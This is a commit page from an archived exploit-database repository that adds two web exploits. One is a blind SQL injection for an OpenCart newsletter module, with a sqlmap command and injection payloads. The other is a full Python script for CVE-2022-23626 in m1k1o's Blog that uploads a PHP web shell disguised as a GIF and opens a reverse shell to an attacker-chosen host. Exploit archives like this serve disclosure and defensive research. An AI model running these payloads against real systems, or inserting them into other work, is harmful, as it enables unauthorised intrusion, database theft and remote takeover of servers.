Skip to content
This repository was archived by the owner on Nov 28, 2022. It is now read-only.

Commit 0a55016

Browse files
author
Offensive Security
committed
DB: 2022-05-24
2 changes to exploits/shellcodes OpenCart v3.x Newsletter Module - Blind SQLi m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
1 parent cbee98c commit 0a55016

File tree

3 files changed

+219
-0
lines changed

3 files changed

+219
-0
lines changed

exploits/php/webapps/50942.txt

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Exploit Title: OpenCart v3.x Newsletter Module - Blind SQLi
2+
# Date: 19/05/2022
3+
# Exploit Author: Saud Alenazi
4+
# Vendor Homepage: https://www.opencart.com/
5+
# Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=32750&filter_member=Zemez
6+
# Version: v.3.0.2.0
7+
# Tested on: XAMPP, Linux
8+
# Contact: https://twitter.com/dmaral3noz
9+
10+
11+
* Description :
12+
13+
Newsletter Module is compatible with any Opencart allows SQL Injection via parameter 'zemez_newsletter_email' in /index.php?route=extension/module/zemez_newsletter/addNewsletter.
14+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
15+
16+
17+
* Steps to Reproduce :
18+
- Go to : http://127.0.0.1/index.php?route=extension/module/zemez_newsletter/addNewsletter
19+
- Save request in BurpSuite
20+
- Run saved request with : sqlmap -r sql.txt -p zemez_newsletter_email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs
21+
22+
23+
24+
Request :
25+
26+
===========
27+
28+
POST /index.php?route=extension/module/zemez_newsletter/addNewsletter HTTP/1.1
29+
Content-Type: application/x-www-form-urlencoded
30+
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
31+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
32+
Accept-Encoding: gzip,deflate
33+
Content-Length: 29
34+
Host: 127.0.0.1
35+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
36+
Connection: Keep-alive
37+
38+
zemez_newsletter_email=saud
39+
40+
41+
===========
42+
43+
Output :
44+
45+
Parameter: zemez_newsletter_email (POST)
46+
Type: boolean-based blind
47+
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
48+
Payload: zemez_newsletter_email=saud%' AND 4728=(SELECT (CASE WHEN (4728=4728) THEN 4728 ELSE (SELECT 4929 UNION SELECT 7220) END))-- -
49+
50+
Type: error-based
51+
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
52+
Payload: zemez_newsletter_email=saud%' OR (SELECT 4303 FROM(SELECT COUNT(*),CONCAT(0x716a6b7171,(SELECT (ELT(4303=4303,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xlVz%'='xlVz
53+
54+
Type: time-based blind
55+
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
56+
Payload: zemez_newsletter_email=saud%' AND (SELECT 5968 FROM (SELECT(SLEEP(5)))yYJX) AND 'yJkK%'='yJkK

exploits/php/webapps/50943.py

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
2+
# Date: 2022-01-06
3+
# Exploit Author: Malte V
4+
# Vendor Homepage: https://github.com/m1k1o/blog
5+
# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip
6+
# Version: 1.3 and below
7+
# Tested on: Linux
8+
# CVE : CVE-2022-23626
9+
10+
import argparse
11+
import json
12+
import re
13+
from base64 import b64encode
14+
import requests as req
15+
from bs4 import BeautifulSoup
16+
17+
parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')
18+
parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)
19+
parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',
20+
required=False)
21+
parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,
22+
required=False)
23+
parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,
24+
required=False)
25+
parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)
26+
parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)
27+
28+
args = vars(parser.parse_args())
29+
30+
username = args['username']
31+
password = args['password']
32+
lhost_ip = args['ip']
33+
lhost_port = args['lport']
34+
address = args['url']
35+
port = args['port']
36+
url = f"http://{address}:{port}"
37+
38+
blog_cookie = ""
39+
csrf_token = ""
40+
exploit_file_name = ""
41+
header = {
42+
"Host": f"{address}",
43+
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
44+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
45+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
46+
"X-Requested-With": "XMLHttpRequest",
47+
"Csrf-Token": f"{csrf_token}",
48+
"Cookie": f"PHPSESSID={blog_cookie}"
49+
}
50+
51+
52+
def get_cookie(complete_url):
53+
global blog_cookie
54+
cookie_header = {}
55+
if not blog_cookie:
56+
cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"
57+
result = req.get(url=complete_url, headers=cookie_header)
58+
if result.status_code == 200:
59+
blog_cookie = result.cookies.get_dict()['PHPSESSID']
60+
print(f'[+] Found PHPSESSID: {blog_cookie}')
61+
grep_csrf(result)
62+
63+
64+
def grep_csrf(result):
65+
global csrf_token
66+
csrf_regex = r"[a-f0-9]{10}"
67+
soup = BeautifulSoup(result.text, 'html.parser')
68+
script_tag = str(soup.findAll('script')[1].contents[0])
69+
csrf_token = re.search(csrf_regex, script_tag).group(0)
70+
print(f'[+] Found CSRF-Token: {csrf_token}')
71+
72+
73+
def login(username, password):
74+
get_cookie(url)
75+
login_url = f"{url}/ajax.php"
76+
login_data = f"action=login&nick={username}&pass={password}"
77+
login_header = {
78+
"Host": f"{address}",
79+
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
80+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
81+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
82+
"X-Requested-With": "XMLHttpRequest",
83+
"Csrf-Token": f"{csrf_token}",
84+
"Cookie": f"PHPSESSID={blog_cookie}"
85+
}
86+
result = req.post(url=login_url, headers=login_header, data=login_data)
87+
soup = BeautifulSoup(result.text, 'html.parser')
88+
login_content = json.loads(soup.text)
89+
if login_content.get('logged_in'):
90+
print('[*] Successful login')
91+
else:
92+
print('[!] Bad login')
93+
94+
95+
def set_cookie(result):
96+
global blog_cookie
97+
blog_cookie = result.cookies.get_dict()['PHPSESSID']
98+
99+
100+
def generate_payload(command):
101+
return f"""
102+
-----------------------------13148889121752486353560141292
103+
Content-Disposition: form-data; name="file"; filename="malicious.gif.php"
104+
Content-Type: application/x-httpd-php
105+
106+
GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;
107+
-----------------------------13148889121752486353560141292--
108+
"""
109+
110+
111+
def send_payload():
112+
payload_header = {
113+
"Host": f"{address}",
114+
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
115+
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
116+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
117+
"X-Requested-With": "XMLHttpRequest",
118+
"Csrf-Token": f"{csrf_token}",
119+
"Cookie": f"PHPSESSID={blog_cookie}"
120+
}
121+
upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"
122+
command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"
123+
payload = generate_payload(command)
124+
print(f"[+] Upload exploit")
125+
result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})
126+
set_exploit_file_name(result.content.decode('ascii'))
127+
128+
129+
def set_exploit_file_name(data):
130+
global exploit_file_name
131+
file_regex = r"[a-zA-Z0-9]{4,5}.php"
132+
exploit_file_name = re.search(file_regex, data).group(0)
133+
134+
135+
def call_malicious_php(file_name):
136+
global header
137+
complete_url = f"{url}/data/i/{file_name}"
138+
print('[*] Calling reverse shell')
139+
result = req.get(url=complete_url)
140+
141+
142+
def check_reverse_shell():
143+
yes = {'yes', 'y', 'ye', ''}
144+
no = {'no', 'n'}
145+
choice = input("Have you got an active netcat listener (y/Y or n/N): ")
146+
if choice in yes:
147+
return True
148+
elif choice in no:
149+
print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")
150+
return False
151+
152+
def main():
153+
enabled_listener = check_reverse_shell()
154+
if enabled_listener:
155+
login(username, password)
156+
send_payload()
157+
call_malicious_php(exploit_file_name)
158+
159+
160+
if __name__ == "__main__":
161+
main()

files_exploits.csv

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45004,3 +45004,5 @@ id,file,description,date,author,type,platform,port
4500445004
50938,exploits/multiple/webapps/50938.txt,"T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)",1970-01-01,"Alperen Ergel",webapps,multiple,
4500545005
50939,exploits/multiple/webapps/50939.txt,"T-Soft E-Commerce 4 - SQLi (Authenticated)",1970-01-01,"Alperen Ergel",webapps,multiple,
4500645006
50941,exploits/php/webapps/50941.txt,"Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)",1970-01-01,"Akshay Ravi",webapps,php,
45007+
50942,exploits/php/webapps/50942.txt,"OpenCart v3.x Newsletter Module - Blind SQLi",1970-01-01,"Saud Alenazi",webapps,php,
45008+
50943,exploits/php/webapps/50943.py,"m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,"Malte V",webapps,php,

0 commit comments

Comments
 (0)